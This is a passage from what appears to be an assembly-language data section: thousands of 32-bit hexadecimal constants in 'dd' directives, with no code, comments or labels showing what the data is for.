0A9D6A593h, 9CA38CBFh, 28A459BCh, 4286C351h dd 742D9EACh, 46488C4Ah, 0AAC87DE8h, 7507D0C3h, 3C210C0Fh dd 836B1269h, 0C967556Eh, 5EEBB167h, 0C6C63C11h, 3DB622BAh dd 2BB428C5h, 390961E1h, 122BFFB8h, 2F065B4Fh, 3BF489B1h dd 0EF5BF8B3h, 0F9065C6Fh, 84AA9E55h, 283E741Ch, 0CF65B6E9h dd 52BF96Ah, 0D5AFE0EFh, 0F8231256h, 86854FA2h, 0F46772B8h dd 1730E06Ah, 8ABD47E1h, 0F99C3407h, 0ABCA4471h, 140B1B81h dd 0B07E641Fh, 0BA4F4ED1h, 5B7DFDA6h, 0A356FA8Ah, 0F1CCCF4h dd 5410838Ah, 48A50E1Dh, 8473D689h, 0B486A91Eh, 0C8B38A49h dd 0D749820Ch, 2434E12Ch, 2CD773F9h, 0EAEFF7E3h, 7061113Bh dd 3657A40h, 8E10A530h, 6C8EF0B7h, 47D9B934h, 523E4213h dd 0B8D7C55h, 7D57470h, 3587B032h, 0FD704EBBh, 276A717Ah dd 4E558B90h, 160C4E1Eh, 2E457660h, 3A9E463Dh, 8AF70C8Ch dd 0F18456E7h, 0DCB1459Fh, 0C101F76Ch, 209FD3F8h, 0B7DE58F3h dd 932DF580h, 3F3F675Ch, 3AEE0723h, 0AB7B335Ch, 908CD84Bh dd 0CF9C990Ah, 49526AD4h, 0F8D3C2E7h, 6FEEA153h, 58F47B86h dd 0E5108817h, 0F0A504E1h, 0CEA7EDEFh, 0C867CFAh, 0ABC316B4h dd 0DED0802Ch, 0A2B81842h, 0FB7FA263h, 5CFEA310h, 26C86186h dd 1C5AC3A8h, 5E2E4FF5h, 893D190Eh, 0BDBE6F2Dh, 53E8F2F6h dd 38B4ABB8h, 856FD3F9h, 0A49B3C45h, 84F3C659h, 0E7485AABh dd 0B9769005h, 76C2BACCh, 757AA4ABh, 0DCF0FB2Bh, 0EFB1927Ch dd 0F42F2855h, 757B908Bh, 9EB76AD3h, 0F62F8F23h, 1B03235h dd 0BD40F005h, 970B2A14h, 97374A8Dh, 835CE57Ch, 3208A51Dh dd 0AE9C0554h, 0AF51D25Eh, 2E2DF380h, 0EE74BB04h, 46338B23h dd 656B0149h, 0DEAA7BD7h, 0B72686FEh, 0F17DA422h, 7366945Ah dd 642F34F8h, 0B7D213F9h, 10DA1E7h, 44F41389h, 0E44A1DB1h dd 1612AF4Dh, 0E6BF8613h, 2C9DA9BBh, 0C954F903h, 0E34C0282h dd 68A0D600h, 1930F95Fh, 0BAE5EEC2h, 0D280499Ch, 0AD2DD650h dd 4B8A17A7h, 0D96DDDAAh, 32E88B48h, 2906FAD7h, 266E4529h dd 98FB8B77h, 3B2FCB1Fh, 51ADC586h, 93AE1BDFh, 963C0846h dd 722D7889h, 0D94C31F8h, 1E599C69h, 42BF815Fh, 0C7B31FA6h dd 17AB4AAh, 174CDC88h, 0D640ABEAh, 1F249682h, 7B876CFBh dd 5B42C826h, 0E89717CBh, 39AB8B14h, 0FF115C5Bh, 70BCF7EBh dd 4A673461h, 15485032h, 6A5A71D1h, 4B8E55C1h, 53257D7Ah dd 70699B3Ch, 0A145522Eh, 0C8B7A442h, 482866F8h, 0E16DB51Ah dd 0BE3EE43Ch, 42E3C206h, 0D126901Ah, 0E836B6CDh, 381FA0D2h dd 4542FDEFh, 72CC6365h, 40F95CCBh, 0DCAF67D9h, 0CA14866Bh dd 0DB80467Ah, 0C23AA826h, 5B358D6Fh, 0FE84A291h, 4081B6CCh dd 51F7E5DEh, 9234E79Ah dd 94AAFF57h, 0C5420E2Ah, 55A45E8h, 4B11A3B2h, 51FF87D6h dd 759C0C89h, 0F6494736h, 27B1073Dh, 45FED6F7h, 9E55641Eh dd 0CB1BD6B3h, 7803857h, 0ACC1F2C0h, 2AC0F3AAh, 0B48E51EFh dd 7D3C19C5h, 0CF42A03Eh, 4AA7B0D1h, 0A420E4EAh, 943A3C0Bh dd 0DD57568Fh, 3DC52215h, 0FFC15A86h, 0ABA569C1h, 7DC161F7h dd 266C5AADh, 0B07D4135h, 84313B53h, 22D6F99Eh, 39196E1Ah dd 2DDB870Ah, 3165FED8h, 3EB036AEh, 4DEC8EE8h, 3849B08Bh dd 846AA356h, 0C6D77814h, 5DAB8002h, 3715FD08h, 0DCADDF8Ch dd 99AF3FECh, 0D30ECBE4h, 9263CDE4h, 0E2B061CDh, 270CB194h dd 67D1FB0Fh, 4A0C673Eh, 0B1B1598Ah, 0CC53F863h, 15188B33h dd 330A705h, 0F23D28E8h, 57CF6F91h, 5AF5B7C9h, 9914C1E3h dd 0EBF9988Ah, 8301E716h, 0E8D38A25h, 8567E9E4h, 1DD8B0F0h dd 82B60F74h, 0A77DB71Ch, 0D2132E69h, 4D851167h, 21D6F53h dd 24A23BE1h, 34F96B92h, 3AAAE954h, 0E7B3AD64h, 21AD284Fh dd 2DD660C1h, 0EBC92259h, 6CB48C98h, 7EE88672h, 483BCF38h dd 359123A8h, 7B307696h, 9DBF262Bh, 28FA1FBCh, 193DC05h dd 0ABB4AF33h, 9BD3EEABh, 4689FFACh, 6D2A32B5h, 72140DE9h dd 0FE410CBh, 984F31F7h, 123E4B50h, 3962E982h, 0FD098416h dd 4AA1D1B5h, 716DFB6Dh, 36668D3Bh, 85FDDDFCh, 9991D12Fh dd 5FF059CEh, 8EFC5842h, 0B1BCD7A5h, 0A705C3C1h, 0F2A18A4Eh dd 3BA8275Dh, 0FFCB909Ah, 135D285Eh, 4BDC7A61h, 31637BA7h dd 33932353h, 0F24CA10Eh, 70C8E0A3h, 4CB91300h, 231F8977h dd 3257A8FDh, 9EF4C6A6h, 7475282Bh, 0E0AD6722h, 4CD8B0EBh dd 0DA32C2B0h, 0A7656ECEh, 30595B8Fh, 0A356A103h, 4E065466h dd 0BD96DAEEh, 99D4A07Ah, 2F0919D2h, 0D074EFh, 5B8D15Dh dd 0E6F7A947h, 894E5607h, 95784230h, 37B2A906h, 2ECB7831h dd 0A767D9BDh, 0DD1A1DB7h, 0BDBB85ABh, 0F8DF47EFh, 96D0B14Ch dd 19C33497h, 0C4E16C4h, 812DD0F6h, 2E96DCCh, 79D29438h dd 0A6CDC93Bh, 26DA9B5Fh, 17DD4ECh, 0C7F6F7CFh, 147B2AEAh dd 0C9389D6Dh, 16286F13h, 599750FEh, 5579190Ah, 5B6C9999h dd 0C3D21517h, 50428BB0h, 4F8B814Eh, 0D9DB5CB5h, 4C547E77h dd 73073543h, 70EFB5C2h, 0DCAB131h, 315C040Ch, 0F2A3F8F5h dd 62E4B2D6h, 0D20AB433h, 9105E98Ch, 0C83DC47Ch, 0A17C8034h dd 10854113h, 0B37958B9h, 7DE015ABh, 442C499Dh, 0D69DC7D4h dd 15FAADE7h, 0FFF88A7Ah, 336B6EB5h, 57587E86h, 28AF8AF0h dd 0EC6302C1h, 441253E4h, 0CC246431h, 3C2FE900h, 0D13DF5EAh dd 6733F18Bh, 54604C9h, 8D97F7BEh, 85B5C5C2h, 0A1CC9788h dd 173AD935h, 764461E2h, 70AB8DF4h, 9FA117FCh, 8E502EF9h dd 0F2448E78h, 947565F6h, 7FD5727Bh, 0F8B1DC6Ch, 29457B46h dd 9161031Bh, 0B7FC8686h, 660586E9h, 0E4E7CF40h, 5C3D68B2h dd 7C73AE78h, 7152E973h, 0EC14F665h, 74D6A7F6h, 0C54536A7h dd 972B8F15h, 2C117E76h, 2851DCB0h, 0C4DEF5F1h, 0F7AFFDE1h dd 5D0654DDh, 2329AE41h, 73ED4C34h, 83789546h, 0FEB183ACh dd 1B4EBA80h, 8C61042Ch, 0D9F58891h, 0E4A5639Eh, 0A4E4598Dh dd 803E35Fh, 4DB8D0B3h, 7981A93Bh, 0D9A86947h, 0BF0D7817h dd 2B34FB6Fh, 0E8C912ABh, 0E049B409h, 0BC34F9B6h, 4E288EF9h dd 0A4B52B17h, 69825896h, 5125C585h, 72877BD1h, 8168A63Fh dd 212EC721h, 48ED95CCh, 0BDFDB980h, 0EEAD92C0h, 1CEE7C20h dd 9A34E22h, 5E393C93h, 0CDFE60A0h, 75D65FD4h, 0D50B0C3Ah dd 0A1E713E7h, 47AE2F0Ch, 0F9C5540Ch, 22CB97F6h, 34321845h dd 61B806A7h, 6111EB3Ch, 0C3921300h, 0F9BF058h, 0A690B6F0h dd 57F9B09Fh, 88AA25A5h, 33600B7h, 39645B13h, 0C27950AEh dd 0BE7323A8h, 0E2FBF744h, 0CA2067Ah, 0C91675Fh, 8A5B820Fh dd 577ACF76h, 55C588A6h, 3A87BC03h, 9B59E32Ah, 9F6D7CA9h dd 0D6298FA5h, 665DB58Dh, 33599BF8h, 68AE92A5h, 67B5A91Fh dd 56FD188h, 1057F443h, 5B8412AFh, 0DEFA2634h, 9E57E4C8h dd 65DD20F3h, 90F18318h, 6EB5560Ah, 8D5DF92Ch, 0EEF5C71Bh dd 0E64D9D5Fh, 0FB8EB62Dh, 1BC0BCA3h, 0AC941015h, 60828988h dd 50BCA0DEh, 4F38A79Eh, 554D9A9Bh, 107F8C35h, 5BF414D4h dd 558A350Fh, 0F90F3D7h, 0FE0433D0h, 2BF70990h, 0FDFCF6EFh dd 0AF630297h, 298EB7A1h, 730883DEh, 1DD020h, 0D7706B97h dd 3C874F89h, 0CBCC2A81h, 98094282h, 63E1BBB4h, 98F8651h dd 382EB4E5h, 0A4484EF9h, 6DD941B7h, 0CC9AFAB8h, 50F8ED25h dd 705A1FD5h, 497EB65Ah, 2A899B0h, 9B36AF0Ah, 0A582685Bh dd 468DE4A0h, 8661DF2h, 9F1FE2AEh, 0F8C23150h, 57AF9C12h dd 0AE60FCE3h, 35B7E76Ch, 0D1E48691h, 787E1CD8h, 53D3C16Dh dd 5E9E2111h, 43DC3A1Bh, 40917625h, 4A20CAC0h, 34DD0F32h dd 0B0F5E513h, 5DE44C61h, 77F4F28h, 7E325E76h, 0C0A7CB4Ah dd 8B501DA1h, 0B53ABA7Eh, 37E442C1h, 5AB038BFh, 5A9A8404h dd 3FC0FC3Eh, 0C0543C6Fh, 0D53AA34Bh, 6F8A50B9h, 36449C0Dh dd 62607F63h, 0BE1DF6CBh, 1FF2B4AFh, 8C2D63DEh, 0A18B2D1Fh dd 75A68FC3h, 88C26C9Eh, 0B5D510D3h, 0C0AEFF6Bh, 14CD3039h dd 715591E3h, 0B5522D58h, 6F1E084Eh, 0DC6827C4h, 95D1BCF6h dd 19E2C0CEh, 5F59BA3Dh, 8DC14AEBh, 0C575859Fh, 6132ED38h dd 0C207570Eh, 2AE9E3DEh, 0DB82EA39h, 0D704F60Ch, 0B6ED710Ch dd 0E496D5EDh, 0CB24E7D3h, 0D024366Eh, 3F1B9181h, 8555A35Dh dd 5566A2h, 8A78B6E7h, 6D50D48Bh, 0CF19D2B8h, 6D82F1BEh dd 432F9CF6h, 195A99A0h, 83F41179h, 80746D7Eh, 0CE51F833h dd 0C5758275h, 6B34D789h, 0C0C9EB2Ah, 1E1389E7h, 3FDBADE3h dd 2D5840DAh, 259D6239h, 4B404E73h, 5C325599h, 3EB343E8h dd 6B0D3720h, 3D58A30Eh, 9FFF4BC5h, 96345198h, 0B9EF8CBFh dd 3EA80E50h, 4C06C363h, 3C4B6893h, 0CAE4462Bh, 37BFD305h dd 4310821Eh, 0FEEEB87h, 35B2460Eh, 0A2B75E3Dh, 0A3F0C6DAh dd 2D8892F0h, 0ED1D27A3h, 0A8CE70B5h, 0F0C73C12h, 0C3EED101h dd 0C87560D7h, 0E0F2FF5Fh, 2EBEA953h, 0F15EE639h, 7951D7E3h dd 0AE67A44Bh, 8D900F3Eh, 7CF64A9Eh, 616389FDh, 0CB32BAC9h dd 3142834Bh, 7B55BB39h, 5498B048h, 0DAFE13CCh, 1393FBCFh dd 0F1F2BE61h, 0DFDBDC30h, 258BF0C9h, 0E4CC171Dh, 1882517Eh dd 8F734464h, 31AFD14Ch, 4BB819DEh, 0C176F993h, 0FDB96065h dd 7B181562h, 44D657DCh, 0FC06BE01h, 0F54F1246h, 9B36252Ch dd 990934BFh, 35CB02EEh, 6CE0C90Eh, 0E014A7B6h, 0E4FBB03Fh dd 7E7D85D1h, 0C5AE687h, 22127CEBh, 6BA0EAAh, 5F27DD46h dd 0D61D3D77h, 253E6E43h, 47728B29h, 0EF7924BDh, 0F8A4DB99h dd 6564C176h, 0FBB3FC09h, 104DC8E5h, 38DEC6EFh, 0F3720964h dd 0DD3591F4h, 30E2BB9Ch, 5BD475D3h, 0D5B8A279h, 0C1486E87h dd 69BA1F3h, 9DAC770h, 4433BCE0h, 0D99C04E6h, 7F1F98C1h dd 0C3847621h, 0A644BB6Ch, 52D5A067h, 0E766DACDh, 92E5BAB0h dd 0BEC24FA7h, 72BAFF9Fh, 1E413674h, 0AF06109Ah, 0B26EDB36h dd 0E13848D4h, 86D2E5F7h, 9369852Bh, 0E772605Fh, 0F46D6637h dd 0C964A286h, 1A17D10Ah, 0BDEDF7F0h, 0A1471242h, 1DAC86F9h dd 0EEF2CEFh, 82065EAFh, 0E52BEF9Eh, 430ACB70h, 0D7C6DB84h dd 0CD97C88Eh, 0D0545A5Bh, 0CE3501BAh, 0A34DABB8h, 6FBEDA45h dd 0CAC77D42h, 33F580B4h dd 306550EDh, 0DEBBA5E0h, 3217CA78h, 7391AA00h, 9F94B98Ah dd 0F7405108h, 48552757h, 323ADB15h, 75448177h, 0B678BCF8h dd 783A81DAh, 0AC8B6C2Ah, 99A861F7h, 4C1316F7h, 26D18AD2h dd 30A69920h, 12A2A786h, 0E7371AC6h, 414C6A3Dh, 0E735EC36h dd 0C6D030EEh, 97092586h, 93E38307h, 84BED040h, 418FDEABh dd 179E68EFh, 0DA4D7AE8h, 70ACC9F7h, 0D9B0B4B3h, 6F0A32E2h dd 9D268576h, 3B010980h, 0ED2B30F0h, 0F0CE1C29h, 52A4D275h dd 0D2948A5Dh, 6A09226Ch, 5F9C582Fh, 29AA6096h, 69DD1E81h dd 0CD125D14h, 3A8032D9h, 0C6E6362Ah, 565CD919h, 482868B6h dd 6A276C74h, 3D8E6D57h, 0A9653E8Fh, 6FEBB2EFh, 548A4A53h dd 94F3A3C9h, 0E7D9BEEAh, 0C6F50982h, 812B746Dh, 8BE58C4Eh dd 0A16B5362h, 1A92F8B2h, 260705F8h, 0B3C69BEEh, 7DD42946h dd 0F7065C2Ch, 0F7D68F15h, 2F0C9AD8h, 9BC6704Ah, 89465E23h dd 4DA34CFh, 8AB86030h, 0D1F9DA7h, 421D3466h, 0DF0B27A8h dd 4AB1476Ch, 2DEADE4Ah, 0B7B0553h, 1F657935h, 0DA4388D3h dd 0CEC4E4EEh, 0AC5B8B8Ch, 0ADC00506h, 0AB318D55h, 8B1DA3CDh dd 17067A20h, 7574BF10h, 945CFFF4h, 4A92DA50h, 0FAD8C47Eh dd 95E5D0F1h, 6686A30Ch, 7F4B1749h, 0C9C0A704h, 0A348AF1Dh dd 8AC505ACh, 5543DB62h, 216F12E2h, 0DA51C99Fh, 1B03B272h dd 0E5D77Eh, 0EEAA471h, 0CFDD5549h, 0FE2EE326h, 0F18DE63Dh dd 0C7315769h, 78783A0Ch, 1A6DE1A5h, 0C5C64E28h, 341F0875h dd 0CB0304EEh, 17291627h, 2CE4B936h, 0AE533C64h, 4FE0548Ch dd 7B32FC21h, 0F341AEFBh, 0B6029F60h, 259A74B3h, 52ACA2FFh dd 0D9571B05h, 258EF536h, 0B89B0F05h, 9458109Eh, 0E378306Fh dd 0A9231430h, 0C01E0DA2h, 0C57E34A4h, 0E27CFD86h, 0EB4343B3h dd 6213527Bh, 2F98487Ah, 6E03754h, 50909F70h, 90FD7C38h dd 2FA11F8Ch, 551D9110h, 0C815DD4Ch, 0B009113Fh, 0FD7F090Ah dd 0AB52F149h, 0F59CC0FCh, 4EC5F5A9h, 0F4F49EBDh, 9ED2467Dh dd 0C4D5F707h, 7BA401D6h, 71FBEB5Bh, 0FE770CFh, 89E409BFh dd 0E5432A34h, 1EFA6Bh, 0E0D84B2Ch, 0CD449630h, 42059E5Bh dd 0AA78754Ch, 5267D9EBh, 0B8AD2AD0h, 84061594h, 13CC6955h dd 0AC6A5236h, 5FB1C516h, 0C61775B9h, 0A5C0B256h, 26AE977Fh dd 0A1C996FAh, 77421B34h, 53AFD5D0h, 45463CB4h, 0E8556B2Eh dd 0B1D41123h, 0E575F078h, 993F398Bh, 0E8CBCAFh, 0F1B2744Ch dd 718408Eh, 416CBD9Ch, 0B0E2398Ch, 0C715722Eh, 38E62385h dd 3969A05Eh, 751C8AC0h, 0ECB1C652h, 4ADA0C26h, 0DAA0F7EAh dd 0E8C59C62h, 8C8016D8h, 910BFC12h, 53F53F43h, 19BCAE17h dd 0F8972925h, 932DDBCBh, 496C604Ah, 0E590839Ch, 3E4B0DCCh dd 4D87C1BEh, 0A9A9457Dh, 0B7EF0579h, 0A1E6F360h, 1346F879h dd 6D99912Ah, 25E2A57Fh, 5410E776h, 0B76A38C3h, 0FDDB7C7h dd 0EB4188ABh, 8168E90h, 40ABE2CAh, 3420B60Dh, 229933FBh dd 3F890DBCh, 87F3241Eh, 0DBDE536h, 46AB071Ch, 0F51EEDD2h dd 85833C00h, 1190920Ah, 0B5EA6523h, 0FD90E814h, 0DFB9E396h dd 57B54BFCh, 9E625138h, 70D9333Bh, 83E48CB2h, 0B9744093h dd 0A2E22C09h, 0DB1F6A4Fh, 0D21EEE8Fh, 11D43A3Bh, 8D05507Fh dd 5F4B25Fh, 231D943h, 165F2AD7h, 167DBE01h, 4842AAA4h dd 0B3EB923Dh, 48F33501h, 57059901h, 24676ACh, 6D1A96CFh dd 0F347BBA0h, 72C597A2h, 0D3B7B932h, 3AB38AE3h, 898047B1h dd 0DDB48A56h, 65EEA60Fh, 0E0387BEEh, 930A6C34h, 47C48B5Bh dd 0B566DC86h, 0CD50762Ah, 99D96516h, 0C6836F51h, 36F4054Fh dd 0CD2B543Bh, 0A948FCB0h, 17FA2414h, 0DBDE9855h, 0E878523Bh dd 7673579Dh, 8D7B6CA8h, 0CDFAD2ADh, 882544CCh, 2E481782h dd 550BFFDAh, 0A072A7ABh, 0AF65E53Dh, 0DDBC05F3h, 1E925C83h dd 32D6FBCEh, 26E0629Dh, 0A2118155h, 0E99F6497h, 4AE3B964h dd 0FDE5045Dh, 1FD57DB1h, 0B093D6B2h, 0F95B33F7h, 4BB315DAh dd 6BAD39F8h, 70AF7B58h, 0E24327Eh, 2FAC0F1Ah, 2F5C8505h dd 2D39488Bh, 0F6DA078Dh, 0AAE3A081h, 59270BE7h, 3DBA3636h dd 0B44EBFEAh, 13234FBEh, 7F41F845h, 0F12DEF0Dh, 0E50A41DAh dd 999685EBh, 0D337C987h, 0FD7D1CEFh, 3956C682h, 0B33715DBh dd 0D274D3FDh, 0BA5CC3F9h, 0A2718F71h, 599515F5h, 0BE25167Fh dd 8D7444B4h, 644E50C3h, 0D2D1EBA2h, 0A05FD05Fh, 0CC33EE45h dd 67385666h, 0A0F9484Fh, 848B2282h, 7D87EB60h, 53A0E723h dd 0AB852E11h, 45BE0C00h, 2401B068h, 95D1EBB8h, 7ED6ED2Bh dd 777F5730h, 868D4D9Ah, 5FE941CBh, 4BBF9DE1h, 14B4E82Bh dd 4912624h, 5F799B09h, 0FF26749Bh, 9A059B3Fh, 4F341730h dd 397C90C4h, 94FB2E50h, 0F47B1C63h, 16CFF1E2h, 0F259370Ah dd 6EDAC1D5h, 0C7C2E9CBh, 96C5A0AFh, 344EB054h, 347E015Fh dd 0B223ADA5h, 0E384B763h, 13763FF8h, 0DA81E2B0h, 16CBD448h dd 8DA190Ch, 5F62988Eh, 0FF804A97h, 5AD7AA0Dh, 0FCC9A26Ah dd 0A4789826h, 7DD62111h, 99169C3Ch, 4C0877A6h, 1C799CE6h dd 29F0C408h, 58A7271Ah, 0ABA5723Ah, 6F564230h, 810257A3h dd 0EB6256A5h, 23FD6752h, 51379519h, 5550F137h, 50D59828h dd 0ADACC897h, 1C7E7385h, 0FC453760h, 0FC2236B3h, 758DFDEFh dd 63704F1Eh, 3CEDCB52h, 704F947Bh, 58D83FCBh, 11622454h dd 63891203h, 2365B6CAh, 513AB67h, 3E3F69A6h, 8D48B285h dd 9F8764BFh, 4DCA98Eh, 0D1461570h, 0FE19C6FAh, 6CFEB7EAh dd 9B0DC452h, 10F0BCEFh, 1FD85852h, 983ED7B7h, 34A64BA5h dd 299B3DFEh, 0CF983FF9h, 842CFBD8h, 0CFAF05D4h, 8EDBA238h dd 510D09CEh, 5E7D2A8Fh, 76F678CBh, 9C29369Ah, 3EDA858Ah dd 0D9155A75h, 0E55FFC46h, 1CA2F79Ch, 0DEFD9BE5h, 0FC57D9AFh dd 3AC9C514h, 5BB77FF5h, 33611456h, 9897B2Bh, 9AACF809h dd 55662DC4h, 3415306Eh, 8F5C2602h, 0D888A2A8h, 116DCFE2h dd 34E0974Ch, 8DD1BCE5h, 0B57B2862h, 485739D0h, 90F74093h dd 0BE200DBh, 0B2735C66h, 8C887DE8h, 3A778D13h, 5A231350h dd 312EF1h, 0B19B6C06h, 0C496321Eh, 0DA5A7BC5h, 80D5CB3Ch dd 13A180FCh, 3E54D00Ah, 0FA720A00h, 0F2E59C7Ch, 729B4169h dd 0A50920Dh, 0CB8A1FC7h, 0DB2B2BA6h, 4B65802Bh, 401EAF89h dd 107121A8h, 5FE6887Ch, 18197F22h, 27D28496h, 9B84B0C5h dd 0DB7968CFh, 8B713417h, 132F552Fh, 3B3F1812h, 0A5794A4h dd 8B16C0C3h, 1A9DF9DFh, 9E17DA83h, 271CF73Dh, 45BECFFCh dd 0FD5E77Ah, 0F58BC09Eh, 0EA813D97h, 79A2160Ah, 0E3E00F49h dd 35DED2D7h, 6C553E29h, 1D09D7D1h, 58E2FA49h, 0A9FA97AAh dd 3D6E211Eh, 0EAAFBBF7h, 768E74FDh, 6FFF324h, 11AE84A5h dd 67468A1Ch, 0D497D350h, 8A835B9Fh, 844666Bh, 0F4670EF7h dd 6FC525FAh, 4E78611Eh, 2DD8CCF7h, 441E745Ch, 32B34324h dd 45EA0D7Eh, 725C1D99h, 730ACF23h, 64A9EA24h, 0BEF4B67Bh dd 0D3E39550h, 7CA8E580h, 10835175h, 2FDB1B63h, 561D6D87h dd 0C8891BFh, 6D013C9Eh, 9D52ED35h, 39A6A70h, 73756AFEh dd 2AA3FC35h, 0A9B1C1h, 96B1A74Fh, 0D8D03379h, 84833981h dd 931AAB18h, 0B2121BA7h, 81B6A921h, 0B9A59A32h, 984919EDh dd 0C67B6BD7h, 0F02A4881h, 0C408C1F7h, 0BB07884Bh, 20580739h dd 0E0EF447Bh, 0E0BF18F5h, 1B10D506h, 0A19153E5h, 37E8372Ah dd 340B7B9Fh, 0E783276h dd 82EB22BEh, 0FF0F1B0Ch, 417F0D05h, 4574321Ch, 923B2EF9h dd 1B3862A5h, 0E2B31657h, 97090245h, 7094DCh, 0E1391C75h dd 32C97BD0h, 0BA59E4D7h, 6B6D6E8Fh, 96BB8C10h, 0A3C5156Eh dd 47D952AAh, 0AE6CB083h, 0AA123CEDh, 795CF249h, 57643A8Bh dd 80154F73h, 357829CAh, 106C2A1Dh, 0D275C380h, 0DEFBB852h dd 38AE3ADFh, 79BD9D27h, 0C33055DCh, 90E4E784h, 0E5D7BC40h dd 34887ED4h, 0CB039B85h, 56311A55h, 0CC0D6D9h, 0AC625BCAh dd 73C9B8EFh, 0B291F2EDh, 0EA324E05h, 4FA33EC9h, 0A252EE58h dd 59B80CD7h, 0FA60A13Eh, 5A7DE633h, 66067968h, 442B3BDBh dd 6346306Dh, 0DFA75F0Bh, 336D5829h, 0D3108249h, 85D63B3Ch dd 0FF6240F2h, 54674B8Eh, 9A81AA5Ah, 103F8E4Dh, 2865A832h dd 0E9B84B2Eh, 0D75876C3h, 78B9351Fh, 54AF3ECAh, 347A2170h dd 0C89A6D65h, 6DE9958Ah, 5D73C402h, 0A05EA40Ch, 6E8105F5h dd 0D5C4F45Dh, 8D3D3D4h, 24248DA8h, 0E92E7E0Fh, 67C62176h dd 0E3D6F806h, 0EA719F48h, 0AE1A207Eh, 515B543h, 4D8991F9h dd 0F9157F88h, 0EFF141B5h, 0E9711478h, 3F165479h, 7A88EDB0h dd 745EBB5Eh, 7633B78Eh, 5AD78FBAh, 5FACB5D3h, 61DE8AB4h dd 130547EFh, 0E2037DDCh, 25A776FBh, 294027D3h, 0B7A02D18h dd 0B8DFE361h, 0D20F5998h, 1A2DCB99h, 240D7CDAh, 94219662h dd 42B97425h, 0D36095F8h, 7292D58Dh, 0D07A4277h, 6A03E921h dd 0A7740B6Ch, 0CA6A7486h, 380B9D2Dh, 0D6E4B41Dh, 5D01BE97h dd 7BCAB07Bh, 9FE65F0Ah, 918E9CE7h, 0FF2EC30h, 0DCD9876Ch dd 2FCFC402h, 6BE709ABh, 0A71E97Fh, 4FE6BF5Fh, 1AAC7A96h dd 1B52F0B7h, 0FE54E0F7h, 101A6930h, 0A5E4872Ah, 963C3781h dd 0E269725Ch, 0BE49CBB1h, 0D4113E53h, 239A3891h, 2D5C2386h dd 14EE5A2Dh, 10BA76B2h, 6520726Ch, 0C35EF392h, 0B0F75217h dd 86D5C70Dh, 4123C31h, 80F9B410h, 39916F70h, 0F0ABB6D9h dd 0D39A7800h, 2963ABDh, 76180BEBh, 0FDC0E4FEh, 6A6579B3h dd 0FA5C76C2h, 0E42182DBh, 0B7DDAD14h, 155EC456h, 1EDE40CEh dd 977A64F5h, 0ECDAE870h, 0DB8BF004h, 0FDA90372h, 6F87BF54h dd 4B9CC347h, 0FCE3E9DBh, 9B25302Eh, 2F2CE89Eh, 7CBB7251h dd 9AE12F49h, 0A7DDCE25h, 72CA03AAh, 70A64933h, 97C862BCh dd 0E6C0CA68h, 8E7B67E1h, 90B15285h, 670AB443h, 5FB9A348h dd 0CE68D663h, 1109C97Eh, 0CAF52D47h, 65649E0h, 673B3148h dd 0BE9F54C3h, 0CFFACC3Dh, 0C1EF0411h, 0F2E4B09Eh, 3B09212Dh dd 885637D9h, 79BB7CBBh, 37F746C5h, 0BA2416ECh, 0BB5E4885h dd 0D0356F1Bh, 0C458EE71h, 0F3DBD3FDh, 664CC41Ah, 1BDF8B43h dd 6C128C4Ah, 7376C6A9h, 3EAF6DC6h, 5F8E9CEFh, 0BCC8CDCBh dd 1D4356A1h, 86A001A2h, 3FDF820Ch, 7C6293E5h, 8F0E595h dd 6DC78360h, 96A2DA40h, 6FD874AEh, 0B5D664C5h, 3A2AF3F6h dd 10165F92h, 0C9581AA2h, 76E8AE06h, 82A72E21h, 698241h dd 41AEF65Bh, 0FB6EDF37h, 6DD1F792h, 97AE5E05h, 33DC9833h dd 54306F4Eh, 0E5615DF6h, 44E9212Dh, 0FE3B684Fh, 7F1E997h dd 0C35D878Ch, 61598BC6h, 0C878F8F5h, 63BEAC58h, 0DFC7FE59h dd 9CB79005h, 33FBCC90h, 0FC183B94h, 8399D750h, 10C2AE53h dd 0B95667A3h, 35715280h, 5433E81Ah, 0DB75460Ah, 0C0044B1Bh dd 0E1445740h, 95A5DD78h, 0A200DFD9h, 0FBB3E81Eh, 2562A34Bh dd 0F1C6596Dh, 6B4AAB08h, 9D2F2E63h, 544C699Ah, 0A32AC230h dd 5D4F422Ah, 401BB473h, 246EAAB7h, 4FF39FAEh, 7D114090h dd 0FF6C7A8Fh, 0A9DEDAC9h, 43688FBh, 0F5CFA31Eh, 7CE95683h dd 9068E1A3h, 0E4C2E21h, 3CE60601h, 78CAB27Eh, 8836F142h dd 12503527h, 0A4B53F32h, 9A4EA09h, 51C29ED2h, 0D32AB0FCh dd 17B95A2h, 92DC201Bh, 0A0745A15h, 302B4A67h, 0DDAB4932h dd 2EFFB0ABh, 0C8FD6DFAh, 0EDC1A482h, 0AF487F15h, 2539ADC5h dd 89F1B6FCh, 0D82F7625h, 8978E7A7h, 9824A6CEh, 2E85C36Fh dd 67FF57F3h, 0E6FC77CFh, 0A64C201Dh, 0CD5BF4A3h, 6A7FB033h dd 49F7FAEDh, 0C52BB510h, 3E462D53h, 0CFC8A782h, 9CE5E08h dd 98E00F22h, 0FFEC135Dh, 7145EA24h, 0E1500D96h, 112A3053h dd 0B275FEE0h, 0A6AEFBA8h, 6B2BF3A6h, 95DDA5D2h, 6EB4CFB6h dd 0AA745C71h, 946F244h, 0B1701463h, 0E3AEABE3h, 0AA943B9h dd 0DD23DE4Bh, 85E9079Fh, 0AB2E8CAFh, 857425CDh, 0FD644ACAh dd 7CF8A4C4h, 2FABBBC3h, 64285778h, 47C3CDFh, 3460634h dd 0D2C852B7h, 24D94C77h, 0F75F6A1h, 0CBA674BEh, 8D94FFC2h dd 0B24C5815h, 7E6B6533h, 5F19233Dh, 1CB6A09Fh, 2698DF67h dd 0A988A9D8h, 0FD156937h, 566A948Ch, 0D79E234Bh, 93BC8475h dd 0FE35EE08h, 2CBA2FF3h, 6FA0FAE6h, 5B649F52h, 2293C072h dd 37631852h, 0D0F0F76Fh, 33FA3AA6h, 0F81DDF29h, 62F13F20h dd 0D1F19A21h, 1B5E69AFh, 0E0014E76h, 0C94860F8h, 0F36BC4F5h dd 0B0CC3FC2h, 93946034h, 87FFD396h, 2BDA8F07h, 29578320h dd 63B83BAFh, 2D14336h, 3193A4Dh, 16DB6E89h, 996FF4CCh dd 3B1A9ACCh, 18E0B3BEh, 4A8BAC82h, 0BD616040h, 0BECD932Ah dd 64F72639h, 0C2A1BF9Ch, 52D5BB20h, 1ECD742Bh, 0F942205Bh dd 0F83D53DDh, 3B096429h, 6C2ACB80h, 0F03BB5DFh, 5F2EBDC4h dd 4B3E0FAAh, 13904266h, 9310FF0Eh, 597871F8h, 0FFCD0BF8h dd 0F462895h, 